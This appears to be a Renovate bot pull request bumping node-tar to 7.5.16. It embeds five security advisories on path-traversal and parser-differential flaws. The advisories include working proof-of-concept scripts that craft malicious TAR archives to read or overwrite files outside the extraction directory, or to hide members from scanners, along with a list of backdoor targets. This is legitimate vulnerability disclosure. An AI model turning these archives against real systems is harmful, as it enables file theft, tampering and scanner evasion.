chore(deps): update dependency tar to v7.5.16 [security] by renovate[bot] · Pull Request #10 · immich-app/restic-wrapper-ts

renovate · 2026-03-01T14:12:31Z

This PR contains the following updates:

Package	Change	Age	Confidence
tar	`7.5.4` → `7.5.16`

node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

CVE-2026-24842 / GHSA-34x7-hfp2-rc4v

More information

Details

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:

const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }

Hardlink creation in [HARDLINK]:

const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);

Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.
Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)

package.json

{ "dependencies": { "tar": "^7.5.0" } }

secret.txt (sensitive file outside uploads/)

DATABASE_PASSWORD=supersecret123

server.js (vulnerable file upload server)

const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));

create-malicious-tar.js (attacker creates exploit TAR)

const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');

Run

##### Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

##### Terminal 1: Start server
node server.js

##### Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @&#8203;malicious.tar http://localhost:3000/upload

##### READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read

##### Returns: DATABASE_PASSWORD=supersecret123

##### WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

##### Confirm secret.txt was modified
cat secret.txt

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector	Target File	Result
SSH Access	`~/.ssh/authorized_keys`	Direct shell access to server
Cron Backdoor	`/etc/cron.d/*`, `~/.crontab`	Persistent code execution
Shell RC Files	`~/.bashrc`, `~/.profile`	Code execution on user login
Web App Backdoor	Application `.js`, `.php`, `.py` files	Immediate RCE via web requests
Systemd Services	`/etc/systemd/system/*.service`	Code execution on service restart
User Creation	`/etc/passwd` (if running as root)	Add new privileged user

Data Exfiltration & Corruption

Overwrite arbitrary files via hardlink escape + subsequent write operations
Read sensitive files by creating hardlinks that point outside extraction directory
Corrupt databases and application state
Steal credentials from config files, .env, secrets

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction

CVE-2026-26960 / GHSA-83g3-92jg-28cx

More information

Details

Summary

tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.

This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).

Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.

Details

The bypass chain uses two symlinks plus one hardlink:

a/b/c/up -> ../..
a/b/escape -> c/up/../..
exfil (hardlink) -> a/b/escape/<target-relative-to-parent-of-extract>

Why this works:

Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.
- See STRIPABSOLUTEPATH logic in:
  - ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255
  - ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268
  - ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281
Hardlink extraction resolves target as path.resolve(cwd, entry.linkpath) and then calls fs.link(target, destination).
- ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566
- ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567
- ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703
Parent directory safety checks (mkdir + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.
- ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617
- ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619
- ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27
- ../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101

As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.

PoC

hardlink.js
Environment used for validation:

Node: v25.4.0
tar: 7.5.7
OS: macOS Darwin 25.2.0
Extract options: defaults (tar.extract({ file, cwd }))

Steps:

Prepare/locate a tar module. If require('tar') is not available locally, set TAR_MODULE to an absolute path to a tar package directory.
Run:

TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js

Expected vulnerable output (key lines):

same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE

Interpretation:

same_inode=true: extracted exfil and external secret are the same file object.
read_ok=true: reading exfil leaks external content.
write_ok=true: writing exfil modifies external file.

Impact

Vulnerability type:

Arbitrary file read/write via archive extraction path confusion and link resolution.

Who is impacted:

Any application/service that extracts attacker-controlled tar archives with Node tar defaults.
Impact scope is the privileges of the extracting process user.

Potential outcomes:

Read sensitive files reachable by the process user.
Overwrite writable files outside extraction root.
Escalate impact depending on deployment context (keys, configs, scripts, app data).

Severity

CVSS Score: 7.1 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

tar has Hardlink Path Traversal via Drive-Relative Linkpath

CVE-2026-29786 / GHSA-qffp-2rhf-9h96

More information

Details

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
Hardlink creation resolves this against extraction cwd and escapes one directory up.
Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

CLI tools unpacking untrusted tarballs into a working directory
build/update pipelines consuming third-party archives
services that import user-supplied tar files

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

node-tar Symlink Path Traversal via Drive-Relative Linkpath

CVE-2026-31802 / GHSA-9ppj-qmqm-q256

More information

Details

Summary

tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.

What happens with linkpath: "C:../../../target.txt":

stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
Writing through the extracted symlink overwrites the outside file (../target.txt).

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.10.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Observed output:

PWNED
../../../target.txt
lrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt

PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

CLI tools unpacking untrusted tarballs into a working directory
build/update pipelines consuming third-party archives
services that import user-supplied tar files

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)

CVE-2026-53655 / GHSA-vmf3-w455-68vh

More information

Details

Summary

tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).

The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.

This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.

Impact

CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as
the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and
GHSA-fp55-jw48-c537).
A crafted archive can present one logical member list to a tool that lists or
scans with node-tar and a different member list to GNU tar / libarchive /
Python tarfile (and vice versa). This lets a malicious file be hidden from a
scanner that uses a different parser than the eventual extractor, or hidden
from node-tar-based inspection while still landing on disk via a system tar.
No authentication is required; the only precondition is that a victim parses
an attacker-supplied tar with node-tar. Tar archives are routinely fetched
from untrusted sources (package registries, user uploads, CI artifacts,
container layers).
Severity: Medium. Impact is integrity-of-archive-interpretation, not direct
RCE; it is a building block for supply-chain / scanner-evasion attacks rather
than a standalone code-execution primitive.

Vulnerable code (file:line)

src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@7.5.15):

// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)

ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.

src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:

const header = new Header(chunk, position, this[EX], this[GEX])

and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:

if (entry.meta) {
  // L / K / x / g metadata entries: this[EX] is left intact here
  if (entry.size > this.maxMetaEntrySize) {
    entry.ignore = true
    this[STATE] = 'ignore'
    entry.resume()
  } else if (entry.size > 0) {
    this[META] = ''
    entry.on('data', c => (this[META] += c))
    this[STATE] = 'meta'
  }
} else {
  this[EX] = undefined   // EX cleared only once a real file entry is reached
}

When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.

The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).

How input reaches the sink

tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.

Proof of concept

Archive layout (all standard, GNU-tar-producible blocks):

block 0 : x  header  (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x  payload : the single PAX record  "...size=2048\n"
block 2 : L  header  (GNU long-name '././@&#8203;LongLink'), real size = 13
block 3 : L  payload : "longname.txt\0"      (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)

Generator (make_tar.py, pure stdlib, no external deps):

def hdr(name, size, typeflag):
    h = bytearray(512); name = name[:100]; h[0:len(name)] = name
    h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
    h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
    h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
    h[148:156] = b' ' * 8
    cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
    return bytes(h)

def pad(d):
    return d + b'\0' * ((512 - len(d) % 512) % 512)

def pax_record(key, val):              # length-prefixed PAX record "LEN key=val\n"
    body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
    while True:
        s = str(n).encode() + body
        if len(s) == n: break
        n = len(s)
    return s

pax = pax_record('size', 2048)         # malicious: claim size=2048 for the "next" entry
out  = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@&#8203;LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0')        + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0')        + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)

A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.

End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)

Install the published package into a clean project and parse both archives:

$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49:        this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);

e2e.mjs:

import * as tar from 'tar'
async function listEntries(f){
  const got=[], warns=[]
  await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
                   onwarn:(code,_msg)=>warns.push(code) })
  return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL  entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))

Verbatim output:

=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===

[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
  tar.list() entries : []
  tar.list() warnings: ["TAR_ENTRY_INVALID"]

[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
  tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
  tar.list() warnings: []

Reference parsers on the same pax-desync.tar:

$ tar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # GNU tar

$ bsdtar tvf pax-desync.tar
-rw-r--r--  0 0      0        2048 Jan  1  1970 longname.txt          # libarchive

$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt']                                                      # Python tarfile

Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).

Suggested fix

When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.

A fix PR is being prepared against a private fork and will be linked here.

Fix PR

To be linked from a private fork of the repository (the fix will not be pushed
to any public fork or to upstream during embargo).

Credits

Reported by tonghuaroot.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

isaacs/node-tar (tar)

Configuration

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renovate Bot added changelog:skip dependencies renovate labels Mar 1, 2026

renovate Bot changed the title ~~chore(deps): update dependency tar to v7.5.8 [security]~~ chore(deps): update dependency tar to v7.5.10 [security] Mar 8, 2026

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch from e0b8c0a to 751d8fd Compare March 8, 2026 06:51

renovate Bot changed the title ~~chore(deps): update dependency tar to v7.5.10 [security]~~ chore(deps): update dependency tar to v7.5.11 [security] Mar 14, 2026

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch from 751d8fd to 4ba16c8 Compare March 14, 2026 22:19

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch from 4ba16c8 to e5171f2 Compare April 2, 2026 15:14

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch from e5171f2 to d2eb1a4 Compare April 15, 2026 10:58

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch from d2eb1a4 to e1b45c7 Compare April 30, 2026 01:53

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch 2 times, most recently from 76b4c9c to d9e5740 Compare May 19, 2026 10:50

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch 2 times, most recently from d726505 to 24d2356 Compare June 2, 2026 22:07

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch from 24d2356 to f7b92d8 Compare June 13, 2026 00:05

chore(deps): update dependency tar to v7.5.16 [security]

a1e27c7

renovate Bot changed the title ~~chore(deps): update dependency tar to v7.5.11 [security]~~ chore(deps): update dependency tar to v7.5.16 [security] Jun 18, 2026

renovate Bot force-pushed the renovate/npm-tar-vulnerability branch from f7b92d8 to a1e27c7 Compare June 18, 2026 16:25

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chore(deps): update dependency tar to v7.5.16 [security]#10

chore(deps): update dependency tar to v7.5.16 [security]#10
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renovate Bot commented Mar 1, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

Details

Summary

Details

PoC

Setup

Run

Impact

Remote Code Execution / Server Takeover

Data Exfiltration & Corruption

Severity

References

Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction

Details

Summary

Details

PoC

Impact

Severity

References

tar has Hardlink Path Traversal via Drive-Relative Linkpath

Details

Summary

Details

PoC

Impact

Severity

References

node-tar Symlink Path Traversal via Drive-Relative Linkpath

Details

Summary

Details

PoC

Impact

Severity

References

node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)

Details

Summary

Impact

Vulnerable code (file:line)

How input reaches the sink

Proof of concept

End-to-end reproduction (against pinned version tar@7.5.15, latest release)

Suggested fix

Fix PR

Credits

Severity

References

Release Notes

Configuration

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renovate Bot commented Mar 1, 2026 •

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End-to-end reproduction (against pinned version `tar@7.5.15`, latest release)